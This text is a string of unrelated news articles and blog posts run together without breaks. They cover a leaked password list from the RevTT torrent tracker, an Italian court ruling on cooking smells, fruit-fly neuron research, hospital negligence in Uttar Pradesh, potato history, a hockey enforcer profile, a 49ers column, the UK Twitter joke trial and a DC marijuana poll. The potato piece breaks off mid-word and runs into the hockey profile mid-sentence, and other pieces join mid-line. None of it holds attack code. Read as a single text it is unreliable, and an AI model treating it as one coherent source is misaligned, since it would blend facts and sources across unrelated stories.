Using the name ‘Afghanis’ he uploaded a torrent file to The Pirate Bay. It pointed to just 675K of data but today the effects are being strongly felt around the private BitTorrent scene.
“From Civilized Afghan Society, of course we do have stupid Talibans also but we do have very well educated people living in beautiful Kabul City,” a text file with the release reads.
“RevTT is hacked by Afghanistan Hackers!!!”
RevTT is short for RevolutionTT, a private BitTorrent tracker that was founded around 6 years ago with a reputation for indexing a wide range of content. It is unclear exactly how many users are on the site since its operators appear to hide stats from regular user view. However, all the indications suggest that there are at least 40,000 and very probably tens of thousands more.
While the ‘hackers’ claim to have the entire RevTT database along with 50,000 user/pass combinations, the text file uploaded by Afghanis actually contains around 40,000 27,000 19,000 pairs. (see update below)
After they were uploaded to The Pirate Bay last evening the free-for-all began.
Very quickly people who had downloaded the torrent started logging into RevTT using not only regular accounts but those of so-called VIPs who have access to exclusive sections of the site.
While some undoubtedly decided to grab whatever content they could, others carried out other activities including sending out invitations to people who aren’t already members. Worse still, all details of the compromised accounts were available to the intruders including email addresses, statistics and all activity associated with the accounts.
Needless to say, if users maintained the same username and password on other sites their accounts elsewhere immediately became vulnerable. Judging by the number of users who used the word “password” as their password, the chances of major screw ups seems high.
After trying to alert site staff, TorrentFreak watched as panicked users learned of the breach and posted their concerns in the forums, begging site staff for information. Site staff responded by quickly removing all discussion of the breach, banning the accounts of people posting in the threads, and eventually posting the notice seen below.
Of course, people are now wondering how on earth this happened and the answer is far from clear. There are many theories being circulated, including that this wasn’t a ‘hack’ as such but a leak of a database backup, possibly due to a historical admin dispute.
What is clear however is that according to several reports from users on the site who had their details leaked, the data within the torrent isn’t particularly fresh and could date back some time. Users know this because their user/pass combinations are ones they used previously but have since been changed. There is a lesson to be learned here about changing passwords frequently.
Now, some 9 hours after the leak, RevTT appears to have been locked down, but the mess this will leave behind is bound to be significant and could even get worse. The ‘hackers’ say that in 1 to 2 weeks they will release more data, what exactly that will be remains to be seen.
Update: Due to duplicates and other issues the number of leaked accounts actually appears to be less than the 50,000 claimed by the hackers. As time progresses people are looking more closely at the huge list so we’ll revise this figure when more accurate information becomes available.Cooking may be a national passion, but Italians who allow the pungent aroma of a simmering pot of pasta sauce or a vat of deep fried fish to waft into a neighbour’s home are committing a crime, the country’s highest court has ruled.
In the best traditions of legalese the world over, the Court of Cassation in Rome even came up with a term for the offence – “olfactory molestation”.
The ruling emerged from a long-running battle between neighbours in an apartment block in the town of Monfalcone on the Adriatic coast, close to the border with Slovenia.
Residents complained about a married couple in their block cooking up vats of rich pasta sauces and “fritti misti” or mixed fried seafood, a dish that is as beloved to Italians as fish and chips are to the British.
The squabble first ended up in a court in the town of Gorizia, where the couple who cooked the offending food were found guilty of anti-social behaviour.
They appealed to a higher court in the nearby city of Trieste, which in turn upheld the sentence. Not content with that decision, they then took the case all the way to the Court of Cassation in Rome, which after much deliberation upheld the rulings of the two lower courts.
The judges in Rome said the couple’s enthusiastic cooking resulted in “the emission of odours and noises in the overhead apartment on the third floor,” owned by another couple. The smells were so strong that they were “beyond the limits of tolerability” and constituted what the court called “olfactory molestation”.Although they're a common nuisance in the home, fruit flies have made great contributions to research in genetics and developmental biology. Now a Tel Aviv University researcher is again turning to this everyday pest to answer crucial questions about how neurons function at a cellular level — which may uncover the secrets of neurological disorders such as Alzheimer's disease.
Approximately 75 percent of the genes that are related to diseases in humans are also to be found in the fly, says Ya'ara Saad, a PhD candidate in the lab of Prof. Amir Ayali at TAU's Department of Zoology and the Sagol School of Neurosciences. There are many similarities in the functioning of the nervous system in both organisms, and by observing how neuronal networks taken from the fly grow and function outside of the body, there are many clues to the way human neuronal cells interact and the factors that influence their viability and physiology.
Saad's work, which has been published in the Journal of Molecular Histology, could help researchers to better understand how individual neurons are physically and chemically altered in response to disease and therapeutic intervention, and lead to new treatments.
Testing medications cell by cell
Saad is exploring how neural networks develop one neuron at a time. In the lab, the researchers break the fly's nervous system down into single cells, separate these cells, then place them at a distance from each other in a Petri dish. After a few days, the neurons begin to grow towards one another and establish connections, and then migrate to form clusters of cells. Finally, they re-organize themselves to form a sophisticated network, says Saad. Because these experiments uniquely allow researchers to concentrate on individual neurons, they can perform specific measurements of proteins, note electrical activity, watch synapses develop, and see how physical changes take shape.
Saad and her fellow researchers are using this technique to observe how neurodegenerative diseases take over the neurons and to potentially test various medicinal interventions. In their experiments, one group of flies is genetically modified so that it expresses a peptide called Amyloid Beta, found in protein-based plaques of human Alzheimer's disease patients. The results of these studies are then compared to those of a non-modified control group. Both strains of flies are provided by Prof. Daniel Segal of TAU's Department of Molecular Microbiology and Biotechnology.
Previous studies performed on flies expressing Amyloid Beta showed that they demonstrate Alzheimer's-like symptoms such as motor problems, impaired learning capabilities, and shorter lifespans. While this peptide has been researched for quite some time, scientists still do not know how it functions. Saad says her work may help unlock the mystery of this function. "Now I can really get into the molecular operation of Amyloid Beta inside the cell. I can watch the dysfunction in the synapses, monitor the proteins involved, and record electrical activity in a much more accessible way," she says.
Testing pharmacological agents is as simple as putting the medication into the dish and following how the cells change in response, Saad explains. Her next step will be to test various medications and search for a treatment that restores normal function, morphology, and chemical make-up to the neurons.
The benefits of invertebrates
As one of the first organisms for which scientists cracked the entire genome, there is a wealth of genetic information about the fruit fly, making it an ideal subject for her research, explains Saad. Though fly brains are simpler than those of human brains, the neurons are the same size and structure, and possess similar chemical activity. With a life span of 30 days on average, flies have a short aging process, an important consideration for the study of neurodegenerative diseases.
"A lot of basic discoveries in neurobiology have been made on invertebrates. If you want to see things on a cellular level, there are a lot of advantages to using these models," says Saad. She also says that using insects instead of mammals as experimental subjects has an additional plus: no ethical approval is necessary until the research is advanced enough to move on to more sophisticated life forms.
Source: American Friends of Tel Aviv UniversityMedical apathy continues to shock in Uttar Pradesh. In Mirzapur near Varanasi, a 70-year-old man was forced to carry his pregnant daughter-in-law on his shoulders from the district women’s hospital to a private hospital and back where she died, allegedly due to negligence of the doctors.
Kapur Chand Pandey claimed his daughter-in-law Anshu Pandey, a resident of Geruwa village, was rushed to the district women’s hospital early last Sunday. She was admitted to the emergency ward but none of the doctors attended on his daughter-in-law till 8am on Sunday despite her being in a critical condition. He then carried her on his shoulders to a private hospital around 100 metres away.
He said doctors at the private hospital examined her and said that the child in her womb was already dead. They referred her back to the district women’s hospital. He brought her to the district women hospital on his shoulders again where doctors operated on her and took the dead child out of her womb. But Anshu also died as an infection had spread across her body, Pandey claimed.
Pandey said that his daughter-in-law died because of the doctors’ negligence.
Chief medical superintendent Dr Sanjay Pandey denied any dereliction of duty by the doctors but said he would look into the matter.
In another incident in Kasganj district, the relatives of a 42-year-old man almost ended up carrying his body on a motorcycle because the driver of the government-run ambulance at Kasganj district hospital allegedly asked for a bribe of Rs 1500.
The relatives claimed that they had to place body placed between the driver and the pillion rider before a few people came forward and arranged for a private ambulance. The driver was paid Rs 500 and the body was eventually shifted in the ambulance to the village.
The incident took place in Soron area of Kasganj district on Tuesday but the issue came to light only on Friday.
Kasganj district magistrate K Vijendra Pandian denied the allegations.
“The matter happened on Tuesday. An enquiry was conducted at CMO level and the allegations were found to be baseless,” said DM.
Pandian claimed the CMO’s investigation found that the relatives had never asked for an ambulance to carry the body.
But Pappu, a relative of the deceased said the 42-year-old Raees Pal said, “The patient was declared dead on arrival by doctors at the district hospital in Kasganj. We asked the driver of the ambulance at the district hospital to carry the body back to our village but the driver demanded Rs 1500 as bribe which we were unable to pay.”
First Published: Sep 10, 2016 12:49 ISTWhen potato plants bloom, they send up five-lobed flowers that spangle fields like fat purple stars. By some accounts, Marie Antoinette liked the blossoms so much that she put them in her hair. Her husband, Louis XVI, put one in his buttonhole, inspiring a brief vogue in which the French aristocracy swanned around with potato plants on their clothes. The flowers were part of an attempt to persuade French farmers to plant and French diners to eat this strange new species.
Today the potato is the fifth most important crop worldwide, after wheat, corn, rice and sugar cane. But in the 18th century the tuber was a startling novelty, frightening to some, bewildering to others—part of a global ecological convulsion set off by Christopher Columbus.
About 250 million years ago, the world consisted of a single giant landmass now known as Pangaea. Geological forces broke Pangaea apart, creating the continents and hemispheres familiar today. Over the eons, the separate corners of the earth developed wildly different suites of plants and animals. Columbus’ voyages reknit the seams of Pangaea, to borrow a phrase from Alfred W. Crosby, the historian who first described this process. In what Crosby called the Columbian Exchange, the world’s long-separate ecosystems abruptly collided and mixed in a biological bedlam that underlies much of the history we learn in school. The potato flower in Louis XVI’s buttonhole, a species that had crossed the Atlantic from Peru, was both an emblem of the Columbian Exchange and one of its most important aspects.
Compared with grains, tubers are inherently more productive. If the head of a wheat or rice plant grows too big, the plant will fall over, with fatal results. Growing underground, tubers are not limited by the rest of the plant. In 2008 a Lebanese farmer dug up a potato that weighed nearly 25 pounds. It was bigger than his head.
Many researchers believe that the potato’s arrival in northern Europe spelled an end to famine there. (Corn, another American crop, played a similar but smaller role in southern Europe.) More than that, as the historian William H. McNeill has argued, the potato led to empire: “By feeding rapidly growing populations, [it] permitted a handful of European nations to assert dominion over most of the world between 1750 and 1950.” The potato, in other words, fueled the rise of the West.
Equally important, the European and North American adoption of the potato set the template for modern agriculture—the so-called agro-industrial complex. Not only did the Columbian Exchange carry the potato across the Atlantic, it also brought the world’s first intensive fertilizer: Peruvian guano. And when potatoes fell to the attack of another import, the Colorado potato beetle, panicked farmers turned to the first artificial pesticide: a form of arsenic. Competition to produce ever-more-potent arsenic blends launched the modern pesticide industry. In the 1940s and 1950s, improved crops, high-intensity fertilizers and chemical pesticides created the Green Revolution, the explosion of agricultural productivity that transformed farms from Illinois to Indonesia—and set off a political argument about the food supply that grows more intense by the day.
In 1853 an Alsatian sculptor named Andreas Friederich erected a statue of Sir Francis Drake in Offenburg, in southwest Germany. It portrayed the English explorer staring into the horizon in familiar visionary fashion. His right hand rested on the hilt of his sword. His left gripped a potato plant. “Sir Francis Drake,” the base proclaimed,
disseminator of the potato in Europe
in the Year of Our Lord 1586.
Millions of people
who cultivate the earth
bless his immortal memory.
The statue was pulled down by Nazis in early 1939, in the wave of anti-Semitic and anti-foreign measures that followed the violent frenzy known as Kristallnacht. Destroying the statue was a crime against art, not history: Drake almost certainly did not introduce the potato to Europe. And even if he had, most of the credit for the potato surely belongs to the Andean peoples who domesticated it.
Geographically, the Andes are an unlikely birthplace for a major staple crop. The longest mountain range on the planet, it forms an icy barrier on the Pacific Coast of South America 5,500 miles long and in many places more than 22,000 feet high. Active volcanoes scattered along its length are linked by geologic faults, which push against one another and trigger earthquakes, floods and landslides. Even when the land is seismically quiet, the Andean climate is active. Temperatures in the highlands can fluctuate from 75 degrees Fahrenheit to below freezing in a few hours—the air is too thin to hold the heat.
From this unpromising terrain sprang one of the world’s great cultural traditions. Even as Egyptians built the pyramids, Andeans were erecting their own monumental temples and ceremonial plazas. For millennia, contentious peoples jostled for power from Ecuador to northern Chile. Most famous today are the Inca, who seized much of the Andes in a violent flash, built great highways and cities splendid with gold, then fell to Spanish disease and Spanish soldiers. The mountain cultures differed strikingly from one another, but all were nourished by tuber and root crops, the potato most important.
Wild potatoes are laced with solanine and tomatine, toxic compounds believed to defend the plants against attacks from dangerous organisms like fungi, bacteria and human beings. Cooking often breaks down such chemical defenses, but solanine and tomatine are unaffected by heat. In the mountains, guanaco and vicuña (wild relatives of the llama) lick clay before eating poisonous plants. The toxins stick—more technically, “adsorb”—to the fine clay particles in the animals’ stomachs, passing through the digestive system without affecting it. Mimicking this process, mountain peoples apparently learned to dunk wild potatoes in a “gravy” made of clay and water. Eventually they bred less-toxic potatoes, though some of the old, poisonous varieties remain, favored for their resistance to frost. Clay dust is still sold in Peruvian and Bolivian markets to accompany them.
Edible clay by no means exhausted the region’s culinary creativity. To be sure, Andean Indians ate potatoes boiled, baked and mashed, as Europeans do now. But potatoes were also boiled, peeled, chopped and dried to make papas secas; fermented in stagnant water to create sticky, odoriferous toqosh; and ground to pulp, soaked in a jug and filtered to produce almidón de papa (potato starch). Most ubiquitous was chuño, which is made by spreading potatoes outside to freeze on cold nights, then thawing them in the morning sun. Repeated freeze-thaw cycles transform the spuds into soft, juicy blobs. Farmers squeeze out the water to produce chuño: stiff, styrofoam-like nodules much smaller and lighter than the original tubers. Cooked into a spicy Andean stew, they resemble gnocchi, the potato-flour dumplings in central Italy. Chuño can be kept for years without refrigeration—insurance against bad harvests. It was the food that sustained Inca armies.
Even today, some Andean villagers celebrate the potato harvest much as their ancestors did in centuries past. Immediately after pulling potatoes from the ground, families in the fields pile soil into earthen, igloo-shaped ovens 18 inches tall. Into the ovens go the stalks, as well as straw, brush, scraps of wood and cow dung. When the ovens turn white with heat, cooks place fresh potatoes on the ashes for baking. Steam curls up from hot food into the clear, cold air. People dip their potatoes in coarse salt and edible clay. Night winds carry the smell of roasting potatoes for what seems like miles.
The potato Andeans roasted before contact with Europeans was not the modern spud; they cultivated different varieties at different altitudes. Most people in a village planted a few basic types, but most everyone also planted others to have a variety of tastes. (Andean farmers today produce modern, Idaho-style breeds for the market, but describe them as bland—for yahoos in cities.) The result was chaotic diversity. Potatoes in one village at one altitude could look wildly unlike those a few miles away in another village at another altitude.
In 1995, a Peruvian-American research team found that families in one mountain valley in central Peru grew an average of 10.6 traditional varieties—landraces, as they are called, each with its own name. In adjacent villages Karl Zimmerer, an environmental scientist now at Pennsylvania State University, visited fields with up to 20 landraces. The International Potato Center in Peru has preserved almost 5,000 varieties. The range of potatoes in a single Andean field, Zimmerer observed, “exceeds the diversity of nine-tenths of the potato crop of the entire United States.” As a result, the Andean potato is less a single identifiable species than a bubbling stew of related genetic entities. Sorting it out has given taxonomists headaches for decades.
The first Spaniards in the region—the band led by Francisco Pizarro, who landed in 1532—noticed Indians eating these strange, round objects and emulated them, often reluctantly. News of the new food spread rapidly. Within three decades, Spanish farmers as far away as the Canary Islands were exporting potatoes to France and the Netherlands (which were then part of the Spanish empire). The first scientific description of the potato appeared in 1596, when the Swiss naturalist Gaspard Bauhin awarded it the name Solanum tuberosum esculentum (later simplified to Solanum tuberosum).
Unlike any previous European crop, potatoes are grown not from seed but from little chunks of tuber—the misnamed “seed potatoes.” Continental farmers regarded this alien food with fascinated suspicion; some believed it an aphrodisiac, others a cause of fever or lepro |
fought until North Bay. He was kind of forced into it. One night in Barrie, he got the living s–t beat out of him by Luch Nasato, a guy who wasn’t really a scrapper. He learned to scrap back.”
There would be few manhandlings after that. Chris pushed himself to get bigger and tougher.
“Every one of us used to beat him in an arm wrestle,” says Jeff. “But by his third year, it would take two of us to tackle him instead of one. He was a handful. He was getting strong.”
In 1997-98, Chris had 26 goals and 29 assists, along with 231 penalty minutes. The Senators drafted him in the sixth round (161st overall) in the 1998 draft.
“It was really exciting,” says Chris. “I had to wait a long time to hear my name called. But once I heard it, my brothers, my mom and dad, everybody, they were just as excited as I was. Coming down those steps in Buffalo, I hardly remember touching the floor to shake management’s hands.”
He got some early advice on punching his ticket to the NHL.
“My first NHL camp, I got sent down to minors,” says Chris. “Trevor Timmins pulled me aside and said, ‘If you want to get up here as quick as possible, go down and beat the crap out of everyone.’ I had to change my role to make it. You see a lot of good hockey players that don’t make it because they were trying to be a Top 6 forward. You have to have that good dynamic, different players on your team, to be successful.”
“When he went down to the Muskegon Fury, he took on the league tough guy (Jason Payne) and beat the living crap out of him,” says Barry. “The fans just went crazy when he floored that guy. After that, he owned Muskegon.”
Chris had shown he had a goal scorer’s touch in junior hockey, but his NHL high is 16 in 2005-06.
“When you’re a role player, they don’t let you step out of your role too much,” says Barry. “When Chris played for Jacques Martin, I remember one night he made an end-to-end rush, turned a defenceman inside out, put it through his feet and rang it off the crossbar. He got benched for that because that wasn’t what he was supposed to be doing.”
FIGHTING UP
Chris has never been the biggest kid. But he doesn’t duck challengers.
Stephane Quintal once drove his fist into Chris’ jaw, jarring loose half of one the Senators winger’s back teeth. Chris spit out the tooth and kept playing.
In another slugfest, Grant Marshall tagged him and knocked out another tooth.
Jesse Boulerice broke his jaw.
“Most of the time, guys are bigger than me,” says Chris. “I’m 6-foot-1, between 210 and 215 lbs. I’m going against guys who are 6-2, 6-3 … 220, 230 lbs, so I’m always at a size disadvantage. You try and outsmart your opponents. You try to make them open up and do something they may not want to do. That’s why I’ve been around so long.”
“He’s not afraid of anyone,” says Senators teammate Matt Kassian. “He’s a smart technical fighter. One of the things he does well is he throws both hands.”
THE PRANKSTER
What you may not know about Chris Neil, the fighter, is that he’s also a Sudoku junkie. He’s handy around the house — he built a treehouse at the family cottage on Calabogie Lake. He has two cups of coffee before he gets to the rink each day. He loves music, just as likely to listen to AC/DC as his country favourites like Faith Hill, Tim McGraw or George Strait.
And he loves pranks.
“Sometimes, a guy’s wallet will get sewed into his back pocket,” he says. “We got Brian McGrattan. He couldn’t get his car keys out. I’ve had some good ones done to me. I’ve had my fake teeth painted with permanent marker. It was Magnus Arvedson. If you’re dishing it out, you’ve got to be able to take it.”
“Neiler’s done the same thing day in and day out since the day I got here,” says Senators captain Jason Spezza. “He’s a fun-loving guy, a guy you can wind up a bit.”
DOWN TO EARTH
There’s a dichotomy between what Chris Neil does on and off the ice. One moment, he’s looking to beat the bejeezus out of somebody. Then, he’s home sitting on a couch, smiling, laughing, watching Lego Batman or The Backyardigans, telling his wife and kids he loves them.
“Chris is perceived a certain way on the ice, but he’s not at all like that in person,” says Caitlin. “Honestly, he is so not like what people see in a hockey game. He is so laid back. But hockey is still a job. He has a role to play. That role evolved with what the Sens needed.”
Neil, who has played more than 800 NHL games, will make $2.1 million each of the next two seasons of a three-year contract. He’s moved into the NHL’s top 50 all-time penalty-minute list, but is anything but a goon.
“I just love the game, I can’t get enough of it,” says Chris. “I want to be remembered as a hard-nosed player, a competitive guy. I never quit, it doesn’t matter what the score is, whether we’re up or down. That’s how I want people to remember me.”
“Chris is a physical force, the tough guy on the team,” says Senators GM Bryan Murray.
“He’s also a good person, one of those guys younger players look up to. If you talk about ultimate character people, that’s Chris.
“If you could get a whole bunch of Chris Neil-types, people who care about the community, people who want to be here, you’d do that every day.”
Fighting and hockey are a big part of what Chris Neil is, but they won’t define who he is or measure how big a heart this small-town boy really has.
tim.baines@sunmedia.ca
Twitter: @timcbaines
SUN SURVEY RESULTS: YOUR SAY ON CHRIS NEIL
Do you think Chris Neil is worth his current three-year $5.75M contract?
Yes, he’s been a great leader – 81% No, I think the Sens should have dealt him years ago – 19%
What part of Neil’s game needs the most work?
Shooting – 45% Skating – 22% Passing – 17% Physicality – 9% Leadership – 7%
How would you rate Chris Neil’s performance this season?
Good – 50% Excellent – 21% Fair – 20% Poor – 9%
Do you think Neil needs to fight more?
No – 81% Yes – 19%
Which line do you think Neil should play on?Jed York invokes memory of his Super Bowl-winning uncle
Niners CEO Jed York wants to follow in the sizable footsteps of Eddie DeBartolo Jr., but York recently has learned he can’t adopt some of his combustible uncle’s personality traits that flew under the radar 30 years ago.
For example, York’s this-performance-wasn’t-acceptable tweet to fans immediately after a blowout loss to Seattle in November 2014? Yes, classic rant-now-and-think-later Eddie D., who didn’t have Twitter at his disposal when he was the 49ers’ owner.
“I’m emotional,” York said. “I learned that from my uncle. Both of us put holes in walls. … I can’t be a distraction to this team. The world is so much different today than I think when my uncle ran the team.”
It can be argued that York stood before a media throng Monday, contrite and humbled, because he allowed his emotions to affect his oft-stated goal of winning Super Bowls. Just more than 12 months ago, York parted with head coach Jim Harbaugh and replaced him by promoting defensive line coach Jim Tomsula.
The swap, of course, was an epic disaster. Harbaugh won 49 games, including playoffs, in his four-year tenure, which is three more than the 49ers managed in the eight seasons before his arrival. Tomsula? He was fired Sunday night after a 5-11 season, prompting York’s news conference about 15 hours later.
San Francisco 49ers CEO Jed York walks off the stage after speaking at Monday’s news conference at Levi’s Stadium. San Francisco 49ers CEO Jed York walks off the stage after speaking at Monday’s news conference at Levi’s Stadium. Photo: Lea Suzuki / Lea Suzuki / The Chronicle Buy photo Photo: Lea Suzuki / Lea Suzuki / The Chronicle Image 1 of / 1 Caption Close Jed York invokes memory of his Super Bowl-winning uncle 1 / 1 Back to Gallery
DeBartolo often threatened to fire his best head coach, Hall of Famer Bill Walsh, but didn’t do it. In this area, York didn’t follow his uncle’s lead.
On Monday, York earned overall favorable reviews by addressing some of his recent missteps directly. However, he was less forthcoming when asked if he regretted what’s widely perceived to be his biggest mistake: Didn’t he wish he’d found a way to keep Harbaugh?
“Jim Harbaugh is a good football coach,” York said. “His success at Michigan doesn’t surprise me at all. We need to make sure that we look forward to the next head coach.
“In terms of Jimmy T., we took a chance on somebody that we believe strongly in, certainly his character, his leadership ability, what he was able to do. And ultimately, that didn’t work out. And I feel like watching what my uncle did, watching what my grandfather did, you have to learn from mistakes.”
It will be interesting to see if York has, indeed, learned from his mistakes after the 49ers hire their next head coach. During his final season, Harbaugh repeatedly was undermined by leaks to national media outlets, information which was believed to be coming from the front office and, possibly, an unhappy York.
On Sunday, it appeared little had changed. Hours before the 49ers’ regular-season finale, there was a wave of reports stating Tomsula would be fired after the game. York said the 49ers’ lips had been sealed.
“Having things come out of the building and having the leaks like that are harmful to the team, harmful to Jimmy T, somebody that’s been here for a long time, harmful to our players, harmful to our fans,” York said. “That’s not in my best interest. … We have no interest in leaking information out of this building. If I find people that are leaking information, they are not going to be a part of this team.”
York bolstered his battered image Monday, but those were merely words. He now can make the frustrated faithful more sanguine by hiring the right head coach. General manager Trent Baalke will lead the search, but York will be involved. He consulted with DeBartolo early Monday morning and received counsel.
As York noted, DeBartolo wasn’t immune to mistakes. In 1978, for example, he hired head coach Pete McCulley, who was fired after nine games, and replaced him with Fred O’Connor, who coached the remaining seven. Nearly four decades later, Tomsula became the first head coach since McCulley and O’Connor to last one season or less with the 49ers.
DeBartolo rebounded in 1979 by hiring Walsh, who won the first three of the franchise’s five Super Bowl championships. On Monday, York insisted the ability to win titles was his only concern when asked if he needed a head coach who possessed a personality with which he felt comfortable.
“We’re in need of somebody that can win Super Bowls,” he said.
Didn’t he already part with that coach? When asked that end-of-the-news-conference question, York didn’t finish by flashing his fire, but he did show a little spark.
“We haven’t won a Super Bowl since 1994,” he said.
Eric Branch is a San Francisco Chronicle staff writer. E-mail: ebranch@sfchronicle.com Twitter: @Eric_BranchHey, these must be those “interesting times” the Chinese were banging on about! Life sure is hella interesting at the moment, isn’t it? Hung parliaments and that? The freefall feeling is quite bracing in a way. Who knows what’s coming next? Anything’s possible! Wheeeeee!
The thing is, while most of us are waiting for the other shoe to drop, for the full force of these interesting times to come down and do a bit of major league squishing upside all our heads, a young man named Paul Chambers has already had his passport well and truly stamped by them. Paul is the man who, excited about traveling to Belfast to a girl he had met through Twitter, posted the following Tweet:
“Crap! Robin Hood Airport is closed. You’ve got a week and a bit to get your shit together otherwise I’m blowing the airport sky high!!”
Yesterday, he was found guilty of sending an “indecent, obscene or menacing” message and received a £1000 fine and a criminal record. On top of all this, he lost his job and Crazy Colours (the girl he was originally flying over to meet) said yesterday “Paul was half way through qualifying as an accountant. This conviction means he can’t qualify now. His career is ruined.”
Ever read ‘The Joke’ by Milan Kundera? It’s good! Not my favourite novel by the man, but holy shit, guess what it’s about! (Forgive me for copying and pasting the Wikipedia synopsis).
Written and set in 1965 Prague, the novel opens with Ludvik Jahn looking back on the joke that changed his life in the early 1950s. In a playful mood, he writes a postcard to a girl in his class during their summer break… “Optimism is the opium of the people! A healthy atmosphere stinks of stupidity! Long live Trotsky!” His colleagues and fellow young-party leaders do not quite see the humor in the sentiment expressed in the postcard. Ludvik finds himself expelled from the party and college and drafted to a part of the Czech military where alleged subversives form work brigades and spend the next few years working in mines.
Jack of Kent is the man to read on why both prosecution and law are bunk in this case, so I won’ t try to add to that. I just wanted to address just the two or three people who I saw yesterday trotting the old “He was stupid to post the joke and deserves what he got” argument around the paddock. And that includes the Judge on the case, Jonathan Bennett, who said he was ‘satisfied’ the message was of a ‘menacing nature in the context of the time we live in’.
What all these people are essentially saying is this: because this country was made less safe by the hasty, reckless, duplicitous way in which Tony Blair took us into war (a war which only yesterday claimed 114 more lives), and because he will never be brought to justice for that, we must live in a state of paranoid readiness, a state of nervous anxiety, a humorless state that cannot tell the difference between a joke and a threat, for the foreseeable future. Because that one, massive crime will go unpunished, we shall all be punished in thousands of interesting ways.
As Robert Harris said, while we stand at airport security with our shoes in our hands, Tony Blair floats unimpeded through another part of the terminal.
As we sit by a ruined Tube station, picking rubble out of our hair, Tony Blair is on his way to a thousand quid a plate dinner in a bulletproof limo.
To those people who put forward the view that Paul is the one at fault here, I’d like to say, it’s not supposed to be like this. We’re not supposed to be scared of our shadows. We’re not supposed to be torturing people. We’re not supposed to be letting people get away with murder. We’re not supposed to be prosecuting people for offhand jokes.
If you want to follow the case, the #twitterjoketrial is the hashtag du jour. If you want to contribute to Paul’s fine/legal defence, details are here and here. If you want to complain about the case to the CPS, go here. I urge you to get involved in whatever way you can. We need to show these people that we refuse to live by their arbitrary, paranoid laws. We need to remind them that we are living in England, 2010, not Prague 1965. While we can’t avoid some of the interesting times up ahead, we can at least carry ourselves with some dignity through them.The first crop of homegrown pot is harvested inside an apartment in Washington. (Astrid Riecken/For The Washington Post)
The smell near the Columbia Heights Metro station Wednesday night was unmistakable. A lit joint in hand, Tony Lee stood outside a residence talking with friends as the evening bustle passed them by, no one paying the group of men any special attention.
“The community I’m in, everyone engages in smoking,” said Lee, 34, a District resident who runs his own small construction firm. Plus, he said, if he’s not smoking, he detects the odor of other people getting high throughout the city on a daily basis anyway.
“I’ve grown accustomed to it,” he said.
This casual attitude to marijuana — and the distinctive waft that accompanies the smoking of it — seems to be the new norm in the District in the year since the city voted to legalize possession of small amounts of pot.
According to a new Washington Post poll, 57 percent of District residents say they smell marijuana at least once a month. And of those residents, 45 percent say the smell of the once-illicit substance doesn’t bother them at all; 17 percent say it doesn’t bother them “too much.” Fewer than 4 in 10 respondents say the smell irks them at least to a degree.
As of February 26, marijuana is legal in D.C.—sort of. Here are the ins and outs of the complex new pot law. (Gillian Brockell/The Washington Post)
This prevalent public perfume may be a new feature of the nation’s capital, but it builds upon findings of increasing support for looser marijuana laws.
[Is legal marijuana smoke in D.C. affecting the children of users?]
Last November, 70 percent of District residents voted in favor of Initiative 71 — a ballot measure that legalized the growing and possession of small amounts of marijuana. The measure took effect in February, and since then, support for the law has not weakened.
Sixty-nine percent of residents still support the law, according to the poll. The numbers most notably break down along generational lines: Only 41 percent of residents 65 and older support marijuana legalization, but the number jumps to 64 percent among those 40 to 64 years old and to 82 percent among those under 40.
There is also a gap between the rate at which black and white residents support the new law. The poll found that 79 percent of whites are still in favor of the law and that 60 percent of blacks support it. But, while lagging behind support among white residents, support among black D.C. residents has grown rapidly in recent years. In 2010, a Post poll found that just 37 percent of black D.C. residents favored legalization.
This continuing support for the law is similar to what played out in Colorado, where 55 percent of voters supported legalization in 2012. Since then, support for the Colorado law has remained steady, according to Quinnipiac University polls.
“It continues to be a hot-button issue for the under-40 voter group, and any politician that discounts the influence of this generation in the future won’t be in politics very long,” said Adam Eidinger, an activist who helped lead the political fight to pass Initiative 71 and owns a marijuana paraphernalia store in Adams Morgan. “No one in the local government can take credit for this issue. The only reason why this moved is because the people spoke out.”
Support is relatively even across the city’s wards, and in Wards 1, 7 and 8, residents report smelling marijuana more often. In Ward 1 — including U Street NW, Adams Morgan and parts of Columbia Heights — 70 percent of residents say they smell marijuana once a month or more. That dips to 62 percent in Wards 7 and 8, but frequency stands out east of the Anacostia River: Thirty-two percent say they smell marijuana “every day.” In Wards 2 and 3, only 8 percent say they smell weed daily.
[First legal harvest of marijuana fueling gray market for pot in U.S. capital]
“People aren’t as discreet as they were before it was legal,” said Wuan Smith, 21, a Ward 8 resident who says he smokes regularly in his Congress Heights apartment. He said he smells marijuana smoke from others in his neighborhood just as frequently.
Smoking in a private home in the District is legal under Initiative 71. The law allows residents to possess as much as two ounces of marijuana, to grow plants in their homes and to consume marijuana in private — noncommercial — places.
In July 2014, activists pushed for marijuana first to be decriminalized. Later, they pushed for legalization, framing the issue as one of civil rights, citing statistics showing that 9 in 10 people arrested for pot possession in the District between 2000 and 2010 were black, although blacks and whites use marijuana at similar rates.
Since the law has been in effect, arrests for possession have predictably plummeted. In 2013, before marijuana was decriminalized or legalized, D.C. police arrested 1,215 people for pot possession.
So far this year, all D.C.-based police forces — including those of federal agencies — have arrested only seven people for marijuana possession, according to statistics from the Metropolitan Police Department.
“I don’t find [the smell] super offensive,” said Lena Amick, 24, a Columbia Heights resident who says she doesn’t smoke but voted in favor of Initiative 71 because of the unequal arrest rates. “People can choose to do what they want to do.”
Although possessing marijuana is legal, selling it remains illegal. Because the District is not a state, Congress has the power to overturn city laws. Republican members of Congress tried to prevent Initiative 71 from becoming law but ultimately just blocked the city’s ability to pass laws regulating drug sales.
[Everything you need to know about D.C.’s marijuana law]
According to the Post poll, 74 percent of residents think the city should be allowed to regulate and tax the sale of marijuana. Even many older residents who oppose marijuana use are in favor of the District’s having regulatory authority: Sixty-six percent of those 65 and older support this, compared with 41 percent in that age group who support legalization in general.
“I didn’t vote [to legalize marijuana], because they didn’t have all the ducks in a row,” said John, 64, a retired electrician who declined to give his last name, citing the sensitivity of the issue. “You have street vendors still. You are still promoting illegal sales.”
He and his wife have lived in Ward 5’s Bloomingdale neighborhood for more than 30 years and say they smell marijuana coming from their neighbors’ back yards more than before.
“We are not so much bothered,” he said. “It’s just that when people come into our home, they may think it’s ours.”
